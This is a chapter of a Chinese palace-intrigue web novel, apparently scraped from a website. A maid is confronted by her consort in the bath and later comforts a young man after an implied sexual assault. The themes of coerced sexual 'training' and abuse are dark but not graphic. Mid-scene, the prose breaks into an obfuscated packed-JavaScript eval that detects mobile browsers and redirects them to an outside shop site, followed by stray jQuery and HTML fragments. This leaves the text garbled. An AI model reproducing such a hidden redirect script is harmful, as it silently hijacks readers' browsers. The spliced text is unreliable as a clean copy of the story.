承华宫。
浴堂,水汽氤氲。
汉白玉砌成的浴池内,热水蒸腾起袅袅白雾,混合着安神养颜的草药香气,在烛光摇曳中弥漫开来。池壁边缘镶嵌的暖玉在热水浸泡下泛着温润的光泽,几瓣新摘的腊梅花漂浮在水面,随波轻漾。
冯媛浸在池中,乌黑长发如云般散开,浮在水面上。她闭着眼,背靠池壁,肩颈线条优美,肌肤被热水熏蒸出淡淡的粉色。楚玉跪坐在池边,身着素净的棉布侍女服,袖口挽至肘部,正用一柄长柄木瓢,舀起热水,浇在冯媛光滑的肩背上。
水声淅沥。
烛光透过水汽,在楚玉脸上投下朦胧的光影。她的动作平稳,舀水,浇淋,再用柔软布巾轻轻擦拭。可若是细看,便能发现她眼神有些飘忽,舀水时瓢沿碰触池壁的声响比平日重了半分,浇水的节奏也偶有迟滞。
“楚玉。”冯媛忽然开口,声音在空旷的浴堂里显得格外清晰,带着水汽浸润后的温软,又有一丝不易察觉的锐利。
楚玉手中木瓢一颤,热水洒出几滴,落在池边青砖上。
“娘娘?”她垂眸,声音平静如常。
“你今日……”冯媛缓缓睁开眼,侧过头,目光落在楚玉低垂的侧脸上,“心神不宁。从早上贵平他们来过后,便是如此。”
楚玉指尖收紧,“奴婢没有。只是年节事杂,思虑多了些。”
“是吗?”冯媛笑了笑,那笑意未达眼底。她转过身,面对楚玉,上半身露出水面,水珠顺着锁骨滑落。烛光下,她清丽的脸上带着沐浴后的红晕,眼神清明,“你在我身边多少年了,楚玉?你的心思,瞒得过别人,瞒不过我。”
楚玉沉默,更专注地擦拭着冯媛的手臂,动作轻柔。
冯媛也不逼她,重新靠回池壁,目光望向蒸腾的水雾,像是自言自语,又像是说给楚玉听:“关禧那小子……倒是命大。早上那样子,高烧濒死,竟也能挺过来。你给的药,怕是起了大用。”
楚玉声音更轻:“奴婢只是尽本分。他毕竟曾是从承华宫出去的人。”
“本分?”冯媛重复这个词,语气有些玩味,“楚玉,你在我身边这些年,教导过的人不止他一个。可我怎么记得,你对旁人,从未如此尽本分过?”
她顿了顿,声音压低了些,“连身子都给了出去……如今,连心也要给出去吗?”
这话好似惊雷,在楚玉耳畔炸开。
她抬起头,看向冯媛。那张她仰望,追随了多年的脸,此刻在烛光水汽中美得不真实,可说出的话,却像一把冰冷的锥子,狠狠刺进她心底最隐秘的角落。
恶心。
一股生理性的恶心翻涌上来。冯媛轻描淡写提起的教导,那些她不得不为之的,将一个个鲜活少年变成合格玩物的过程,那些深夜里的呕吐和自厌……像陈年的腐水,突然被搅动,污浊的气味冲上喉头。
而更让她心脏抽痛的,是冯媛话里话外,将她对关禧那点连自己都理不清的情愫,与那些不堪的教导相提并论。
她死死咬住下唇,几乎要咬出血来,才压下那股翻腾的恶心和脱口而出的辩驳。她不能。不能对冯媛流露半分真实情绪,尤其是那份被她深埋心底,绝不容于世的倾慕。
“娘娘说笑了。”楚玉重新低下头,声音平板无波,“奴婢只是觉得,关禧……他与旁人不同。够聪明,也够狠。对娘娘日后或许还有用。如今他攀上高枝,若因一场急病折了,未免可惜。”
“有用?”冯媛轻笑一声,那笑声里带着淡淡的嘲弄,不知是对楚玉,还是对自己,“是啊,有用。这宫里,谁对谁不是因着有用二字?”
她不再看楚玉,仰头靠在池边,闭上眼,像是疲惫了,“你既担心他,便去看看吧。亥时已过,宫门虽下钥,但你持我的对牌,无人会拦。今晚不必你伺候了。”
楚玉跪在原地,没有动。
水汽模糊了视线,也模糊了冯媛的轮廓。她看着这个她愿意付出一切的女人,此刻却觉得两人之间隔着一层永远无法穿透的纱。
“去吧。”冯媛又催促了一声,声音里听不出情绪,“趁我还准你去。”
楚玉缓缓起身,膝盖因久跪而有些麻木。她对着冯媛的背影,深深一福,然后转身,步履平稳地退出浴堂。
直到那淡青色的身影消失在门外的夜色中,冯媛才睁开眼。浴堂里只剩下她一人,水声寂寞。她抬手,看着指尖被泡得发皱的皮肤,眼神空茫。
“关禧……”她低低念着这个名字,半晌,叹了一口气。
*
楚玉走出浴堂,夜风扑面,带着未化的残雪的寒意,瞬间吹散了周身的水汽和那令人窒闷的草药香。
她先回到自己那间小小的值房,换下被水汽濡湿的侍女服,穿上厚实的棉袍,外罩一件灰鼠皮斗篷。又从柜子深处取出一个小巧的鎏金手炉,仔细填好银霜炭,捂在手中。
指尖冰凉,颤抖。
冯媛的话还在耳边回响,那些刻意压下的恶心感和心底翻涌的酸楚,才细细密密地泛上来。她走到窗前,推开一条缝,望着外面沉沉的夜色和远处宫殿零星灯火。
关禧……
她想起早上贵平那惊慌失措的脸,想起自己匆匆备药时指尖的微颤,想起一整天萦绕心头挥之不去的焦灼。那不仅仅是对一个有用棋子的担忧。她骗不了自己。
可是冯媛点破了。用那种轻描淡写,却将一切归于教导与利用的口吻。这让她感到羞辱,不仅是对她感情的羞辱,更是对她这些年挣扎求存,心底仅存那点干净念想的践踏。
但她没有选择。
就像关禧没有选择。
在这座宫里,谁有选择?
楚玉闭了闭眼,再睁开时,眼底已是一片沉静的寒意。她拢紧斗篷,拿起冯媛的对牌,推开值房的门,踏入了夜色之中。
通往乾元殿东侧的宫道寂静无人。亥时已过,各处宫门落锁,只有巡夜的侍卫偶尔走过,甲胄与兵器碰撞发出沉闷的声响。楚玉手中的对牌在宫灯下泛起暗沉的光泽,守门的太监查验后,放行。
越靠近那处院落,她的脚步越慢。
院门紧闭,里面透出微弱的光。她站在门前,深吸一口气,抬手,叩响了门环。
“笃、笃。”
声音在寂静的夜里格外清晰。
片刻,门内传来急促的脚步声,门被拉开一条缝,双喜警惕的脸露了出来。看到是楚玉,他明显松了口气,连忙将门开大些。
“青黛姑娘!”双喜压低声音,侧身让她进来,又迅速关上门,“您怎么来了?”
“我来看看。”楚玉声音很轻,目光已投向正房方向,“他怎么样了?”
“烧退了,午后醒了一次,喝了点粥,又睡下了。这会儿刚醒不久,贵平在里头伺候着。”双喜说着,引着她往正房走。
正房东厢内,烛光比院外看起来明亮些。炭盆烧得正旺,屋内暖意融融,也弥漫着一股淡淡的药味和……一丝颓靡气息。
关禧半靠在炕头,身上盖着厚被,只穿着一件松垮的白色中衣,领口微敞,露出纤细锁骨和一小片苍白的胸膛。他的脸色很差,是一种大病初愈后的虚弱苍白,眼底有浓重的青影,嘴唇干裂,那双凤眼,在看到她走进来的瞬间,亮了一下,随即又迅速黯淡下去。
贵平正端着水碗,喂他喝水,见楚玉进来,连忙起身行礼。
“你出去吧。”楚玉对贵平道,声音平静。
贵平看了看关禧,见他微微颔首,便放下水碗,和双喜一起退了出去,带上了门。
屋内只剩下他们两人。
烛火跳跃,在两人之间投下晃动的光影。
楚玉走到炕边,手炉放在一旁的小几上,没有坐下,只是站着,垂眸看着他。目光从他苍白的脸,滑过脖颈,在那中衣领口隐约可见的淡红色抓痕上停留了一瞬,又迅速移开。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216771|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“还能喘气,看来是死不了了。”她开口,语气是一贯的平淡,甚至带着点惯常的冷峭。
关禧扯了扯嘴角,想笑,却只牵动干裂的唇,渗出一丝血珠,“托你的福。药……多谢。”
楚玉没接这话,只是问:“怎么回事?”
关禧沉默。昨夜不堪的画面在脑中翻滚,那些他恨不得永远埋藏的秘密,在楚玉清澈的目光下,无所遁形,他别开脸,喉咙滚动了几下,才哑声道:“没事。喝多了,染了风寒。”
“风寒?”楚玉的声音陡然转冷,她上前一步,俯身,指尖挑开了他中衣的领口,更多暧昧的红痕和淤青暴露在烛光下,“风寒会留下这种痕迹?关禧,你当我是三岁孩童?”
关禧浑身一颤,像是被烫到,向后缩,一把攥住了她的手腕。
“别碰!”他低吼,眼神里充满了惊惶,“我的事不用你管!”
楚玉任由他攥着,手腕上传来的力道和颤抖,清晰地传递着他的情绪。
“谁干的?”她问,声音很轻,“郑书意?”
关禧瞳孔骤缩,像是被这个名字刺穿了最后一道防线。他松开她的手腕,像甩开什么脏东西,双手捂住脸,肩膀无法抑制地颤抖起来。
无声的颤抖,比嚎啕大哭更让人心惊。
楚玉站在原地,看着他蜷缩颤抖的身影,心口像是被什么东西狠狠攥了一下。她想起冯媛的话,想起那些教导,想起自己也曾是这宫廷黑暗的一部分。而眼前这个少年,他挣扎,他反抗,他试图抓住一点光亮,却终究被更深的黑暗吞噬,玷污。
她本该冷静,本该权衡利弊,本该像冯媛说的那样,只考虑他是否有用。
可是……
她在炕边坐下,犹豫了一下,手最终落在关禧颤抖的脊背上。
隔着单薄的中衣,能清晰感觉到他骨头的轮廓和皮肤的滚烫。她的手掌带着手炉暖过的温热,一下,一下,拍抚。
安抚意味。
关禧的颤抖渐渐停歇。他从指缝中抬起眼,透过朦胧的泪光,看向楚玉。她脸上没什么表情,还是那副清冷模样,可拍抚他脊背的动作,那么轻,那么缓。
“楚玉……”
“嗯。”楚玉应了一声,手下没停,“我在。”
简单的两个字,像暖流,注入他冰封绝望的心底,他慢慢放下手,露出那张泪痕狼藉的脸。
“很脏……”他喃喃道,眼泪又涌出来,“我是不是……很脏?”
楚玉拍抚的动作顿住了。
“脏的不是你。”她开口,声音很低,也异常清晰,每个字都像从心底最深处挖出来,“是这地方。是把你、把我、把所有人都变成鬼的这个地方。”
她抬起另一只手,用袖口内侧相对干净柔软的布料,擦去他脸上的泪,“关禧,看着我。”
关禧抬起湿漉漉的眼。
“活下去。”楚玉轻声细语,一字一句,“像你说的那样,活得比所有人都好。把加诸你身上的,百倍讨回来。这才是你该做的事。至于别的……等你真正站到足够高的地方,再说。”
关禧怔怔地看着她,看着她被烛光勾勒出柔和弧度的侧脸,看着她轻抿的唇和低垂的眼睫。心底那疯狂滋生的藤蔓,那名为依赖眷恋,或许还有其他更复杂情感的东西,在这一刻,悄然缠绕得更紧。
他忽然伸出手,抓住了她擦拭他眼泪的那只手腕,不是之前的凶狠。
“楚玉……”
楚玉身体一僵。
“今晚……就今晚……陪陪我,行吗?我……我怕做噩梦。”
他太懂得如何示弱,如何利用自己此刻的狼狈和脆弱,来抓住这根唯一能救他出深渊的浮木。
楚玉沉默了很久。
久到关禧以为她会像往常一样,冷静地抽回手,用疏离的话语划清界限。
可她最终,只是叹了口气。
“我去给你倒点水。”